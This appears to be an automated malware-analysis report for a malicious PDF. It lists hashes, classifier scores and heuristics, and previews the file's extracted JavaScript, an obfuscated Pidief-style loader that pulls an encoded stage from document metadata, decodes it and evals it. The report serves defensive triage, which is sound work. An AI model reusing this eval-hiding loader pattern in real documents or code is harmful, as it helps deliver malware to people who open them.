Malicious PDF — malware analysis report

Static analysis result for SHA-256 525e8cc1cb8a9d72…

MALICIOUS

PDF

18.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: c2c3e7deac69adcd98968b8c7139106c SHA-1: 47824ae2ad8133e2decf58803d03b9ea8c3c0821 SHA-256: 525e8cc1cb8a9d72b33822675532604668e9ed0cc70a27e77092989e45bf0dd1
154 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream, named 'javascript_obj0001_000.js', is 370 bytes in size and likely contains obfuscated code. The presence of String.fromCharCode further suggests code obfuscation, commonly used to hide malicious actions such as exploiting vulnerabilities or downloading secondary payloads. The exact intent of the script cannot be fully determined due to obfuscation, but its presence within a high-confidence malicious PDF points to a delivery mechanism.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x45E2 370 bytes
SHA-256: 8acf3a2fe76971e24b3f4203f1e999e9366825d0e080367dc8a65e8f2eca93ef
Preview script
First 1,000 lines of the extracted script
var w = 4;
var gfbhv = this.title.replace(/w/g,'*w,');
gfbhv = gfbhv.replace(/t/g,'2');
gfbhv=gfbhv.substr(0,gfbhv.length-2) + ']';
blpfz=function(){return function(){return this}()}();
nxtmx=blpfz[this.subject];
wadj=nxtmx(this.producer);
oudn = nxtmx(gfbhv);
var s = '';
for (i = 0; i < oudn.length; i++) {
	yqv = oudn[i];
	s += wadj(yqv);
}
nxtmx(s);

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